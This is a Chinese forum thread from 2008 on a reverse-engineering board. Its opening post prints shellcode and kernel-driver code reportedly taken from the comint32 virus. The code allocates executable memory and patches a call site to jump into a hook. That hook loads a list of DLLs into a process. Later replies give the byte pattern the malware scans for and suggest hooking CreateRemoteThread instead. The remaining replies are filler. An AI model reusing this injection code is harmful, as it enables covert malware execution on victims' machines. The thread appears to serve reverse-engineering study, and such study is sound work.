本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 79025|回复: 593

一段精巧的shell代码   [复制链接]

Rank: 5Rank: 5

发表于 2008-2-3 07:43:32 |显示全部楼层
__declspec(naked) HookCode()
{
    __asm
    {
        __emit 0x60
        call $+5
        pop edi
        and edi,0xffffff00
        lea esi,[edi+0x60]
        jmp short loc_10AB9
        loc_10AB0:
        cmp byte ptr[esi],0x20
        jnz short loc_10AB8
        xor byte ptr[esi],0x20
        loc_10AB8:
        inc esi
        loc_10AB9:
        cmp byte ptr[esi],0
        jnz short loc_10AB0
        lea esi,[edi+0x60]
        jmp short loc_10ACF
        loc_10AC3:
        push esi
        call dword ptr[edi]
        jmp short loc_10AC9
        loc_10AC8:
        inc esi
        loc_10AC9:
        cmp byte ptr[esi],0
        jnz short loc_10AC8
        inc esi
        loc_10ACF:
        cmp word ptr[esi],0
        jnz short loc_10AC3
        mov eax,[edi+4]
        add eax,5
        push eax
        pop eax
        __emit 0x61
        lea eax,[ebp+8]
        __emit 0xff
        __emit 0x64
        __emit 0x24
        __emit 0xe0
    }
}

PUCHAR injectedMemory;
                    ns = ZwAllocateVirtualMemory( (HANDLE)-1, &myBaseAddress, 0, &shellSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
                    if(myBaseAddress&&NT_SUCCESS(ns))
                    {
                        *(ULONG*)myBaseAddress = (ULONG)LoadLibraryAAddr;//4
                        *((ULONG *)myBaseAddress+1) = (ULONG)GapAddress;//4 //5
                        memcpy((char *)myBaseAddress + 16, HookCode, 0x50);
                        memcpy((char *)myBaseAddress + 96, &loadDLLlist, strlen((const char *)&loadDLLlist));
                        if(makeWritable(GapAddress,5))
                        {
                             *(BYTE *)GapAddress = 0xe9;
                             *(DWORD *)((char *)GapAddress + 1) = (ULONG)myBaseAddress+16 - (ULONG)GapAddress - 5;//jmp to hookcode
                        }

Rank: 5Rank: 5

发表于 2008-2-3 07:46:01 |显示全部楼层
摘录自comint32病毒原体驱动~~

好邪恶的方式,不过还是很挫~
应该搜索并hook在
FF 75 1C                                push    [ebp+lpThreadId] ; lpThreadId
.text:77E437DF FF 75 18                                push    [ebp+dwCreationFlags] ; dwCreationFlags
.text:77E437E2 FF 75 14                                push    [ebp+lpParameter] ; lpParameter
.text:77E437E5 FF 75 10                                push    [ebp+lpStartAddress] ; lpStartAddress
.text:77E437E8 FF 75 0C                                push    [ebp+dwStackSize] ; dwStackSize
.text:77E437EB FF 75 08                                push    [ebp+lpThreadAttributes] ; lpThreadAttributes
.text:77E437EE 6A FF                                   push    0FFFFFFFFh      ; hProcess
.text:77E437F0 E8 7A FD FF FF                          call    CreateRemoteThread
这个上面更邪恶~

Rank: 5Rank: 5

发表于 2008-2-3 07:46:36 |显示全部楼层
原体搜索的是
BYTE pattern1[] ={0x6A,0x4,0x8d,0x45,0x8,0x50,0x6a,0x9,0x6a,0xfe,0xff,0x15};

Rank: 5Rank: 5

发表于 2008-2-3 07:48:03 |显示全部楼层
直接把Call CreateRemoteThread替换成jmp hookCode,然后hookCode进入第一行就是Call CreateRemoteThread,然后走loaddll流程~~

Rank: 1

发表于 2008-2-3 11:39:46 |显示全部楼层
看能不能看

Rank: 1

发表于 2008-2-3 11:40:28 |显示全部楼层
不错,搬个板凳慢慢看

Rank: 9Rank: 9Rank: 9

发表于 2008-2-3 12:17:40 |显示全部楼层
不错。。。
悟空,退下,为师一个人就够了

Rank: 4

发表于 2008-2-3 12:45:37 |显示全部楼层
顶个啊 

Rank: 2

发表于 2008-2-3 12:54:10 |显示全部楼层
我什么时候回复过了?
怎么能直接看到?

Rank: 2

发表于 2008-2-3 13:12:33 |显示全部楼层
估计回复后还得看声望...

Rank: 2

发表于 2008-2-3 13:44:24 |显示全部楼层
声望不要超过6点。

Rank: 1

发表于 2008-2-3 13:57:21 |显示全部楼层
看看哦

Rank: 1

发表于 2008-2-3 14:24:46 |显示全部楼层
不错,搬个板凳慢慢看

Rank: 1

发表于 2008-2-3 15:01:28 |显示全部楼层
kkk

Rank: 1

发表于 2008-2-3 15:04:54 |显示全部楼层
ASD的啊D

Rank: 1

发表于 2008-2-3 15:15:25 |显示全部楼层
引用第9楼g0ug0u于2008-02-03 10:12发表的  :
估计回复后还得看声望...

Rank: 3Rank: 3

发表于 2008-2-3 15:45:43 |显示全部楼层
            

Rank: 1

发表于 2008-2-3 16:18:42 |显示全部楼层
瞅瞅

Rank: 1

发表于 2008-2-3 18:39:50 |显示全部楼层
没有声望的路过

Rank: 2

发表于 2008-2-3 21:01:18 |显示全部楼层
瞧瞧看看.
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-4-19 03:32 , Processed in 0.027787 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部